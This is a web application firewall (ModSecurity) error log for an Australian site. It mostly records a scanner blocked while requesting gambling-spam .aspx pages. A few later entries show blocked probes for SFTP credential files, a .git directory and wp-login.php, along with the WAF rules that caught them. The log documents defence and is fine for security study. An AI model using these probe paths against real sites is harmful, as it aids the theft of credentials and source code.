[Mon Apr 20 08:48:00.888580 2026] [:error] [pid 64332:tid 64354] [client 51.75.116.156:49962] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aeV3wMAQ57uMKAVSYEk5EwAAAAw"]
[Mon Apr 20 08:48:03.410180 2026] [:error] [pid 64332:tid 64361] [client 51.75.116.156:49972] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aeV3w8AQ57uMKAVSYEk5FwAAABM"]
[Mon Apr 20 08:48:05.793655 2026] [:error] [pid 64333:tid 64389] [client 51.75.116.156:49974] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeV3xXZav9wH8wxMd_ub3wAAAE0"]
[Mon Apr 20 08:48:08.361293 2026] [:error] [pid 64333:tid 64384] [client 51.75.116.156:35438] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeV3yHZav9wH8wxMd_ub6AAAAEg"]
[Mon Apr 20 08:48:10.739293 2026] [:error] [pid 47731:tid 47744] [client 51.75.116.156:35444] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeV3ylOwpc-h7Nzn-iPILgAAAQs"]
[Mon Apr 20 08:48:52.565258 2026] [:error] [pid 64332:tid 64355] [client 51.75.116.156:35446] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aeV39MAQ57uMKAVSYEk5dQAAAA0"]
[Mon Apr 20 08:48:55.025231 2026] [:error] [pid 64334:tid 64405] [client 51.75.116.156:54514] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeV398Nh9IxxDqsrPyPB7gAAAII"]
[Mon Apr 20 08:48:57.541059 2026] [:error] [pid 64332:tid 64354] [client 51.75.116.156:43956] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeV3-cAQ57uMKAVSYEk5kAAAAAw"]
[Mon Apr 20 08:49:00.072380 2026] [:error] [pid 64334:tid 64423] [client 51.75.116.156:43960] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeV3_MNh9IxxDqsrPyPB9QAAAJQ"]
[Mon Apr 20 08:49:02.433629 2026] [:error] [pid 64333:tid 64386] [client 51.75.116.156:43964] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeV3_nZav9wH8wxMd_uccwAAAEo"]
[Mon Apr 20 08:49:04.942371 2026] [:error] [pid 64334:tid 64420] [client 51.75.116.156:43978] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeV4AMNh9IxxDqsrPyPB-gAAAJE"]
[Mon Apr 20 08:49:07.464537 2026] [:error] [pid 64334:tid 64427] [client 51.75.116.156:45060] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeV4A8Nh9IxxDqsrPyPB_QAAAJg"]
[Mon Apr 20 08:49:09.986582 2026] [:error] [pid 64332:tid 64345] [client 51.75.116.156:45062] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeV4BcAQ57uMKAVSYEk58QAAAAM"]
[Mon Apr 20 08:49:12.498434 2026] [:error] [pid 47731:tid 47751] [client 51.75.116.156:45078] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeV4CFOwpc-h7Nzn-iPIXgAAARI"]
[Mon Apr 20 08:49:14.912875 2026] [:error] [pid 48101:tid 48118] [client 51.75.116.156:45092] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeV4CvIgenNbs2bVQGspaQAAAY4"]
[Mon Apr 20 08:49:17.282308 2026] [:error] [pid 64333:tid 64398] [client 51.75.116.156:54264] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeV4DXZav9wH8wxMd_ucvAAAAFY"]
[Mon Apr 20 08:49:19.527163 2026] [:error] [pid 60072:tid 60085] [client 51.75.116.156:54272] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeV4D_uj5dzu2v3Qr6G4jgAAAcs"]
[Mon Apr 20 08:49:21.889385 2026] [:error] [pid 64332:tid 64342] [client 51.75.116.156:54288] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeV4EcAQ57uMKAVSYEk5_wAAAAA"]
[Mon Apr 20 08:49:24.302218 2026] [:error] [pid 64332:tid 64363] [client 51.75.116.156:54294] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeV4FMAQ57uMKAVSYEk6AwAAABU"]
[Mon Apr 20 08:49:26.718668 2026] [:error] [pid 64333:tid 64392] [client 51.75.116.156:41222] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeV4FnZav9wH8wxMd_uc0QAAAFA"]
[Mon Apr 20 08:49:29.114625 2026] [:error] [pid 64333:tid 64400] [client 51.75.116.156:41224] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeV4GXZav9wH8wxMd_uc1wAAAFg"]
[Mon Apr 20 08:49:31.649781 2026] [:error] [pid 47731:tid 47748] [client 51.75.116.156:41234] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeV4G1Owpc-h7Nzn-iPIiQAAAQ8"]
[Mon Apr 20 08:49:34.164904 2026] [:error] [pid 47731:tid 47743] [client 51.75.116.156:41236] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeV4HlOwpc-h7Nzn-iPIjgAAAQo"]
[Mon Apr 20 08:49:36.538185 2026] [:error] [pid 48101:tid 48121] [client 51.75.116.156:41240] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeV4IPIgenNbs2bVQGspbwAAAZE"]
[Mon Apr 20 08:49:38.964377 2026] [:error] [pid 64332:tid 64359] [client 51.75.116.156:54414] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeV4IsAQ57uMKAVSYEk6FQAAABE"]
[Mon Apr 20 08:49:41.461509 2026] [:error] [pid 47731:tid 47737] [client 51.75.116.156:54416] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeV4JVOwpc-h7Nzn-iPIlAAAAQQ"]
[Mon Apr 20 08:49:43.947338 2026] [:error] [pid 60072:tid 60076] [client 51.75.116.156:54432] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeV4J_uj5dzu2v3Qr6G4lwAAAcI"]
[Mon Apr 20 08:49:46.454581 2026] [:error] [pid 64333:tid 64382] [client 51.75.116.156:54436] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeV4KnZav9wH8wxMd_uc7gAAAEY"]
[Mon Apr 20 08:49:48.975760 2026] [:error] [pid 47731:tid 47740] [client 51.75.116.156:53760] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeV4LFOwpc-h7Nzn-iPImAAAAQc"]
[Mon Apr 20 08:50:31.772224 2026] [:error] [pid 47731:tid 47740] [client 51.75.116.156:53770] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeV4V1Owpc-h7Nzn-iPI7QAAAQc"]
[Mon Apr 20 08:50:34.241796 2026] [:error] [pid 64332:tid 64346] [client 51.75.116.156:60360] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeV4WsAQ57uMKAVSYEk6SQAAAAQ"]
[Mon Apr 20 08:50:36.645643 2026] [:error] [pid 64440:tid 64444] [client 51.75.116.156:60362] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeV4XNkVUvTgp8p7mrMDfAAAAME"]
[Mon Apr 20 08:50:38.916099 2026] [:error] [pid 64440:tid 64460] [client 51.75.116.156:49744] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeV4XtkVUvTgp8p7mrMDfgAAANE"]
[Mon Apr 20 08:50:41.326660 2026] [:error] [pid 64334:tid 64409] [client 51.75.116.156:49758] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeV4YcNh9IxxDqsrPyPCTQAAAIY"]
[Mon Apr 20 08:50:43.705094 2026] [:error] [pid 64334:tid 64411] [client 51.75.116.156:49764] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeV4Y8Nh9IxxDqsrPyPCUQAAAIg"]
[Mon Apr 20 08:50:46.266201 2026] [:error] [pid 64333:tid 64397] [client 51.75.116.156:49774] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeV4ZnZav9wH8wxMd_ueDQAAAFU"]
[Mon Apr 20 08:50:48.653550 2026] [:error] [pid 64332:tid 64362] [client 51.75.116.156:38764] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeV4aMAQ57uMKAVSYEk6aAAAABQ"]
[Mon Apr 20 08:50:51.044246 2026] [:error] [pid 64333:tid 64391] [client 51.75.116.156:38778] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeV4a3Zav9wH8wxMd_ueGQAAAE8"]
[Mon Apr 20 08:50:53.552518 2026] [:error] [pid 64334:tid 64407] [client 51.75.116.156:38788] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeV4bcNh9IxxDqsrPyPCWQAAAIQ"]
[Mon Apr 20 08:50:55.942127 2026] [:error] [pid 47731:tid 47753] [client 51.75.116.156:38802] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeV4b1Owpc-h7Nzn-iPJEgAAARQ"]
[Mon Apr 20 08:50:58.473061 2026] [:error] [pid 47779:tid 47796] [client 51.75.116.156:40296] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeV4coahGl1n9UkmcNj_WgAAAU8"]
[Mon Apr 20 08:51:00.840547 2026] [:error] [pid 48101:tid 48107] [client 51.75.116.156:40312] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeV4dPIgenNbs2bVQGsplQAAAYM"]
[Mon Apr 20 08:51:03.387807 2026] [:error] [pid 47731:tid 47741] [client 51.75.116.156:40326] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeV4d1Owpc-h7Nzn-iPJHwAAAQg"]
[Mon Apr 20 08:51:05.749125 2026] [:error] [pid 64333:tid 64384] [client 51.75.116.156:40334] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeV4eXZav9wH8wxMd_ueMgAAAEg"]
[Mon Apr 20 08:51:08.175077 2026] [:error] [pid 64332:tid 64363] [client 51.75.116.156:38108] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeV4fMAQ57uMKAVSYEk6kwAAABU"]
[Mon Apr 20 08:51:10.582584 2026] [:error] [pid 64334:tid 64416] [client 51.75.116.156:38116] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeV4fsNh9IxxDqsrPyPCawAAAI0"]
[Mon Apr 20 10:37:08.513610 2026] [:error] [pid 11352:tid 11436] [client 120.71.59.24:60360] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeWRVGl10mhMSfJ7ir8uUQAAAJY"]
[Mon Apr 20 10:38:44.190583 2026] [:error] [pid 11441:tid 11445] [client 43.159.136.201:50290] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeWRtMixByFUvmh319CVNAAAAMI"]
[Mon Apr 20 12:12:41.267959 2026] [:error] [pid 11350:tid 11381] [client 159.223.187.43:53976] [client 159.223.187.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.187.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeWnuf4EoMBgOJuJnT0fggAAABY"]
[Mon Apr 20 12:12:43.953069 2026] [:error] [pid 11441:tid 11450] [client 159.223.187.43:54201] [client 159.223.187.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.187.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeWnu8ixByFUvmh319DM4AAAAMc"]
[Mon Apr 20 13:37:51.408007 2026] [:error] [pid 11351:tid 11408] [client 103.65.237.216:54133] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aeW7rwN8Z1-vktaI_tOG6gAAAFU"]
[Mon Apr 20 13:37:51.688027 2026] [:error] [pid 11351:tid 11396] [client 103.65.237.216:54179] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aeW7rwN8Z1-vktaI_tOG7AAAAEk"]
[Mon Apr 20 15:32:08.868745 2026] [:error] [pid 11351:tid 11405] [client 72.61.125.76:59212] [client 72.61.125.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aeXWeAN8Z1-vktaI_tOcTQAAAFI"]
[Mon Apr 20 16:12:27.205114 2026] [:error] [pid 42014:tid 42023] [client 65.108.78.33:4424] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeXf68ek-00-ZI0f1No2qQAAAQc"]
